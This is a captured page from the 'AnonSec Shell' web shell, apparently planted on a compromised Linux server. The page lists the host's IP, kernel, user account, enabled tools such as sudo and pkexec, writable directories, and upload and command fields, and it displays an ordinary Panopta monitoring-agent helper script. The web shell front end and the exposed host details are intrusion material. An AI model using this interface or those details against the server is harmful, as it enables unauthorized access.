AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 3.145.34.221
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/lib/panopta-agent/countermeasures/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc/self/root/usr/lib/panopta-agent/countermeasures/plugins/CountermeasureScriptHelper.py
"""
Panopta Countermeasure script helper - base class to allow easy setup of standalone scripts
to run as a countermeasure.

Copyright 2017, Panopta LLC
admin@panopta.com


To use, create a subclass of CountermeasureScriptHelper and define the following properties:

 - name - A human-readable name for the countermeasure
 - textkey - A unique textkey describing the countermeasure
 - command: The command line to execute
 - description: Optional longer description of what the plugin does
 - capture_output: True or False value of whether to report the full output of the script

For example:

class TmpUsageCountermeasure(CountermeasureScriptHelper):
    name = "/tmp disk usage"
    textkey = "disk.tmp_usage"
    description = "Get the total usage of hte /tmp partition"
    command = "df -u /tmp"
    capture_output = True

"""

from CountermeasurePlugin import CountermeasurePlugin

class CountermeasureScriptHelper(CountermeasurePlugin):

    wall_announce_delay = None
    max_frequency = None
    max_runtime = None
    sudo_requirements = []
    author = "support@panopta.com"

    # The command to execute as part of the countermeasure - needs to be overridden in inheriting classes
    command = None

    # Whether to capture the output of the script and report as the result of the countermeasure
    capture_output = True

    def validate(self):
        problems = []
        if self.name == "Base Countermeasure":
            problems.append("Missing name definition")
        if self.textkey == "base":
            problems.append("Missing textkey definition")
        if self.command is None:
            problems.append("Missing command definition")
        if self.capture_output not in (True, False):
            problems.append("Invalid value for capture_output")

        return problems and ", ".join(problems) or None

    def run(self):

        if self.command is None:
            self.log.error("No command specified for %s Countermeasure" % self.__class__.__name__)
            return

        return_code, output = self.execute(self.command)
        if self.capture_output:
            self.save_text_output(output)
        else:
            self.save_text_output("Completed execution of %s Countermeasure" % self.__class__.__name__)
        self.save_return_code(return_code)

Anon7 - 2022
AnonSec Team